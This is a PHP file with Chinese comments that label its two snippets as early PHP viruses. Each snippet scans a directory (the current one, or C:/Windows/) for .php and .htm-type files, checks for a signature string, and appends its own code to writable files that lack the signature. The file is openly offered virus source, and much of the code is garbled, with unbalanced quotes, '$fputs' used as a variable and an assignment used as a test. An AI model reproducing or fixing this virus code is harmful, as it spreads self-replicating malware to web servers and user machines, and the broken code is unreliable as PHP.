<?php
//第一只php病毒(据说是)
$handle=opendir('.');
while ($file = readdir($handle))
{ $infected=true;
$executable=false;
if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr($file, '.php')) )
if ( is_file($file) && is_writeable($file) )
{
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'pirus.php');
if(!$sig) $infected=false;
}
if (($infected==false))
{
$host = fopen($file, "a");
fputs($host,"fputs($host,__FILE__);
fputs($host,"/"); ");
fputs($host,"?>");
fclose($host);
return;
}
} closedir($handle);
print "hello";
?>
<?php
//第二个病毒:
$vir_string = "Neworld.PHP/n";
$virstringm = "Welcome To The New World Of PHP Programming/n";
$virt = $vir_string . $virstringm;
echo $virt;
$all = opendir('C:/Windows/');
while ($file = readdir($all))
{
$inf = true;
$exe = false;
if ( ($exe = strstr ($file, '.php')) || ($exe = strstr ($file, '.html')) || ($exe = strstr ($file, '.htm')) || ($exe =strstr ($file, '.htt')) )
if ( is_file($file) && is_writeable($file) )
{
$new = fopen($file, "r");
$look = fread($new, filesize($file));
$yes = strstr ($look, 'neworld.php');
if (!$yes) $inf = false;
}
if ( ($inf=false) )
{ $new = fopen($file, "a");
$fputs($new, "");
$fputs($new, "$fputs($new, __FILE__);
$fputs($new, "/"); ");
$fputs($new, "?>");
return;
}
}
closedir($all);
?>